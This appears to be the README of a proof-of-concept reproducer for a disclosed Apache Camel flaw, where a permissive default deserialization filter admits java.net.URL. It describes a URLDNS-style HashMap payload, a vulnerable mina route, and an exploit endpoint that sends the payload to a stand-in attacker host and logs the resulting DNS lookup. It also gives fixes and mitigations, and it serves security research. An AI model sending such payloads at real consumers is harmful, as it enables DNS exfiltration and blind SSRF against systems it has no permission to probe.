
Reproducer for CVE-2026-42527 — Apache Camel permissive default ObjectInputFilter admits java.net.URL, enabling a DNS-based out-of-band side channel
This project demonstrates CVE-2026-42527 in Apache Camel. The default ObjectInputFilter pattern that
several Camel components ship for defense-in-depth deserialization filtering —
java.**;javax.**;org.apache.camel.**;!* — uses a recursive java.** glob that admits java.net.URL.
java.net.URL.hashCode() performs a DNS resolution of the URL's host, so deserializing a HashMap (or any
collection that hashes its elements) containing a java.net.URL key causes the JVM to issue a DNS query to
an attacker-supplied host during deserialization. The class-level filter check passes (the resulting object
is a HashMap, which is allow-listed), so nothing stops it — an out-of-band information-disclosure side
channel (not RCE).
Advisory: https://camel.apache.org/security/CVE-2026-42527.html
This defect was introduced by the deserialization-hardening series (CAMEL-23297/23319/23321/23322/23324), which added the too-permissive default filter. CVE-2026-42527 tightens it.
This PoC uses camel-mina 4.18.2, where MinaConverter.toObjectInput installs the default filter directly
on the ObjectInputStream, so the filter is the gating control (a clean affected-vs-fixed contrast):
// MinaConverter.toObjectInput(IoBuffer) - affected 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
? jvmFilter
: ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));
The java.** glob admits java.net.URL. On deserialization of a HashMap<URL, ...>, HashMap.readObject()
re-inserts the entry and computes hash(key) → URL.hashCode() → InetAddress.getByName(host) → a DNS
query to the attacker's host. The 4.18.3 / 4.21.0 fix prepends a deny:
// fixed
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";
Now java.net.URL is rejected during deserialization (InvalidClassException: filter status: REJECTED) before
hashCode() ever runs — no DNS query.
Highest real exposure is the camel-jms family, where
JmsBinding.extractBodyFromJmscallsObjectMessage.getObject()unconditionally whenmapJmsMessage=true(the default). This PoC uses camel-mina because it is self-contained (no broker) and the filter sits directly on the stream.
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput (default filter)
Object obj = oi.readObject(); // HashMap.readObject -> URL.hashCode() -> DNS
});
java.net.URL.hashCode() resolves the host through the JVM's resolver. To observe that lookup deterministically
and offline, the app registers a custom java.net.spi.InetAddressResolverProvider (JDK 18+, JEP 418) that
records any hostname containing the attacker marker and answers it with a loopback stub. Seeing the attacker
host reach the resolver is the out-of-band side channel firing.
The payload is built with the classic ysoserial URLDNS trick: the URL's cached hashCode field is
pre-seeded so inserting it into the map on the builder side does not resolve the host, then reset to -1
so the lookup happens only when the victim deserializes. (--add-opens java.base/java.net is needed for that
reflection — a payload-construction detail, unrelated to the vulnerability.)
CVE-2026-42527/
├── pom.xml # camel-mina 4.18.2 (permissive default filter)
├── Dockerfile # runs the app (--add-opens java.base/java.net for payload build)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # victim: mina consumer -> ObjectInput.readObject()
│ ├── PayloadFactory.java # HashMap<URL> URLDNS payload (no builder-side DNS)
│ ├── ExfilResolverProvider.java # stub DNS server (InetAddressResolverProvider) that records lookups
│ ├── ExfilLog.java
│ └── ExploitController.java # /exploit/inject: sends payload over TCP, checks for the DNS lookup
└── resources/
├── application.properties
└── META-INF/services/java.net.spi.InetAddressResolverProvider
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/inject
# -> Sent HashMap<URL> payload to mina:tcp://127.0.0.1:5555
# URL key host: dns-exfil-proof.cve-2026-42527.attacker.test
#
# >>> DNS side-channel proof — resolver saw a lookup for the attacker host: true
# observed lookups: [dns-exfil-proof.cve-2026-42527.attacker.test]
true means the deserialization of the attacker's HashMap<URL> resolved the attacker host — an
attacker-controlled DNS server would see that query.
Run with a hardened JVM-wide filter (which toObjectInput honors, and which mirrors the 4.18.3 fix):
mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
-Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
-jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# then: curl -s http://localhost:8080/exploit/inject
# -> ... resolver saw a lookup for the attacker host: false
# (the route log shows InvalidClassException: filter status: REJECTED)
docker compose down
Any affected Camel consumer that deserializes attacker-controlled bytes under the default filter — most notably
a camel-jms/sjms/amqp consumer with mapJmsMessage=true, or the mina/netty/vertx-http/infinispan and
aggregation-repository components — where the attacker can deliver a HashMap<URL> (or any hashing collection
of java.net.URL).
deserializationFilter / -Djdk.serialFilter override, and no provider-side allow-list).java.net.URL inside a hashing collection in the payload. No gadget library is
required — only stock JDK classes.Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23372), which changes the default filter to deny java.net.**.
Until upgrading:
deserializationAllowList/deserializationDenyList, ActiveMQ Classic org.apache.activemq.SERIALIZABLE_PACKAGES).deserializationFilter option or the JVM-wide
-Djdk.serialFilter with an explicit deny:
!java.net.**;java.**;javax.**;org.apache.camel.**;!*
(or !java.net.**;java.**;org.apache.camel.**;!* for the aggregation-repository components, which omit
javax.**).This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.
| Property | Value |
|---|
| Components | camel-jms, camel-sjms, camel-amqp, camel-mina, camel-netty, camel-netty-http, camel-vertx-http, camel-infinispan, and aggregation repos (camel-leveldb, camel-cassandraql, camel-consul, camel-sql) |
| Defect | Default filter java.**;javax.**;org.apache.camel.**;!* admits java.net.URL / java.net.InetAddress |
| CWE | CWE-502 (unsafe deserialization) leading to out-of-band info disclosure / blind SSRF via DNS |
| Impact | Attacker-observable DNS queries during deserialization (data exfiltration side channel) |
| Affected Versions | 4.14.0–4.14.7, 4.18.0–4.18.2, 4.20.0 |
| Fixed Versions | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23372 |
| Reporters | Venkatraman Kumar (Securin) and Yu Bao (PayPal) |